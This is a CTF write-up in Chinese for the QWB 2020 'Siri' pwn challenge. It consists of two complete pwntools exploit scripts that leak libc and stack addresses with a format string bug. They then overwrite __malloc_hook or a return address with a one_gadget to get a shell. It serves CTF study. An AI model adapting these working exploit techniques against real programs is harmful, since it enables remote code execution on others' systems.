强网杯-[强网先锋]-Siri
不做解释,只提供wp,具体解释请看:[PWN] 强网杯2020siri 手撸格式化字符串_看海就会失去海的博客-CSDN博客
一、劫持__malloc_hook
from pwn import *
from LibcSearcher import *
file_path = "./chall/1"
local = 1
remote_path = "node4.buuoj.cn:29718"
elf = ELF("./chall/1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
# libc= ELF("./chall/libc.so.6")
################################ forbidden ####################################
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rcv = lambda num : p.recv(num)
rcv_all = lambda : p.recv()
rcvu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success(name + "-> 0x%x" % data)
#采用b *<addr> b *$rebase(<addr>)下断点
def debug(a=''):
if local:
gdb.attach(p,a)
if a=='':
gdb.attach()
pause()
else: pass
################################ forbidden ####################################
get_addr_64 = lambda: u64(rcvu(b"\x7f")[-6:].ljust(8,b"\x00"))
############################################################################
##check: arch
##check:local
##check: .so
def mysdl(payload):
sdla(">>> ","Hey Siri!")
sleep(0.2)
sdla(">>> ",b"Remind me to "+payload)
if __name__ == "__main__":
debug("b *$rebase(0x12b1)")
context(os='linux', arch='amd64', log_level='debug')
payload = b"%103$p"
mysdl(payload)
rcvu("you to ")
libc_start_main_addr = int(str(rcv(14))[2:-1],16) -128
# lg("libc_main_addr",libc_start_main_addr)
print("libc_main_addr -> ",hex(libc_start_main_addr))
libc_base = libc_start_main_addr - libc.symbols["__libc_start_main"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
print("malloc_hook -> ",hex(malloc_hook))
print("libc_base -> ",hex(libc_base)) #打印地址正确!
onegadget = libc_base + 0xebcf5
print("onegadget -> ",hex(onegadget)) #打印地址正确!
for i in range(3):
print("onegadget -> ",hex(onegadget>>(i*16)&0xffff)) #打印地址正确!
#####开始覆盖!#########
has_writed = 27
offset = 55
payload = ""
for i in range(3):
tmp = (onegadget >> (i*16)) & 0xffff
tmp = tmp
if tmp > has_writed:
payload = payload + "%{}c%{}$hn".format(tmp-has_writed,offset+i)
else:
payload = payload + "%{}c%{}$hn".format(0x10000-has_writed+tmp,offset+i)
has_writed = tmp&0xffff
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b"a")
for i in range(3):
payload = payload + p64(malloc_hook+i*2)
mysdl(payload)
sleep(0.2)
crush = b"%9999c"
mysdl(crush)
it()
二、劫持返回地址
from pwn import *
from LibcSearcher import *
file_path = "./chall/1"
local = 1
remote_path = "node4.buuoj.cn:29718"
elf = ELF("./chall/1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
# libc= ELF("./chall/libc.so.6")
################################ forbidden ####################################
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rcv = lambda num : p.recv(num)
rcv_all = lambda : p.recv()
rcvu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success(name + "-> 0x%x" % data)
#采用b *<addr> b *$rebase(<addr>)下断点
def debug(a=''):
if local:
gdb.attach(p,a)
if a=='':
gdb.attach()
pause()
else: pass
################################ forbidden ####################################
get_addr_64 = lambda: u64(rcvu(b"\x7f")[-6:].ljust(8,b"\x00"))
############################################################################
##check: arch
##check:local
##check: .so
def mysdl(payload):
sdla(">>> ","Hey Siri!")
sleep(0.2)
sdla(">>> ",b"Remind me to "+payload)
if __name__ == "__main__":
debug("b *$rebase(0x12b1)")
context(os='linux', arch='amd64', log_level='debug')
payload = b"%103$p%7$p"
mysdl(payload)
rcvu("you to ")
libc_start_main_addr = int(str(rcv(14))[2:-1],16) -128
stack = int(str(rcv(14))[2:-1],16)-0x158
print("stack -> ",hex(stack))
# lg("libc_main_addr",libc_start_main_addr)
print("libc_main_addr -> ",hex(libc_start_main_addr))
libc_base = libc_start_main_addr - libc.symbols["__libc_start_main"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
print("malloc_hook -> ",hex(malloc_hook))
print("libc_base -> ",hex(libc_base)) #打印地址正确!
onegadget = libc_base + 0xebcf5
print("onegadget -> ",hex(onegadget)) #打印地址正确!
for i in range(3):
print("onegadget -> ",hex(onegadget>>(i*16)&0xffff)) #打印地址正确!
#####开始覆盖!#########
has_writed = 27
offset = 55
payload = ""
for i in range(3):
tmp = (onegadget >> (i*16)) & 0xffff
tmp = tmp
if tmp > has_writed:
payload = payload + "%{}c%{}$hn".format(tmp-has_writed,offset+i)
else:
payload = payload + "%{}c%{}$hn".format(0x10000-has_writed+tmp,offset+i)
has_writed = tmp&0xffff
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b"a")
for i in range(3):
payload = payload + p64(stack+i*2)
mysdl(payload)
sleep(0.2)
# crush = b"%9999c"
# mysdl(crush)
it()
总结: one_gadget条件太苛刻了,但格式化字符串可以实现任意地址写,可以更改很多返回地址,mallochook、freehook的函数调用,可以尝试爆破